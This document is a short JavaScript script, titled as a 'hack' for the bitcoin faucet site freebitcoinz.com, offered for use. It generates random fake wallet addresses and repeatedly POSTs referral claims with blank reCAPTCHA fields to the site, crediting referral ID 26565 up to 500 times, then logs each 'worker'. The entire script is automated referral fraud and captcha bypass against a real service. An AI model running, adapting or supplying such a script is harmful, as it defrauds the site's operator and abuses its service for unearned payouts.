Freebitcoinz javascript hack
function createCookie(name,value,days) {
if (days) {
var date = new Date();
date.setTime(date.getTime()+(days*24*60*60*1000));
var expires = "; expires="+date.toGMTString();
}
else var expires = "";
document.cookie = name+"="+value+expires+"; path=/";
}
function readCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
}
function updateCookie(name, value, days)
{
eraseCookie(name);
createCookie(name,value,days);
}
function eraseCookie(name) {
createCookie(name,"",-1);
}
function getRandomInt(min, max)
{
return Math.floor(Math.random() * (max - min + 1) + min);
}
function randString(n)
{
if(!n)
{
n = 5;
}
var text = '';
var possible = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
for(var i=0; i < n; i++)
{
text += possible.charAt(Math.floor(Math.random() * possible.length));
}
return text;
}
$.wait = function( callback, seconds){
return window.setTimeout( callback, seconds * 1000 );
}
function run( n, refID )
{
if( n == 0 )
return console.log('Done');
var addr = '1' + randString(34);
updateCookie('address', addr, 1);
var pdata = 'referral='+refID+'&wallet_address='+addr+'&recaptcha_challenge_field=&recaptcha_response_field=';
$.post('http://freebitcoinz.com/', pdata, function(){
$.post('http://freebitcoinz.com/extra/', {'extras':'done'}, function(){
console.log( "Worker " + n + " wallet " + addr );
return run(n-1, refID);
});
});
}
//20120
//24901
//26565
var randRef = getRandomInt(100, 500);
run(randRef,'26565');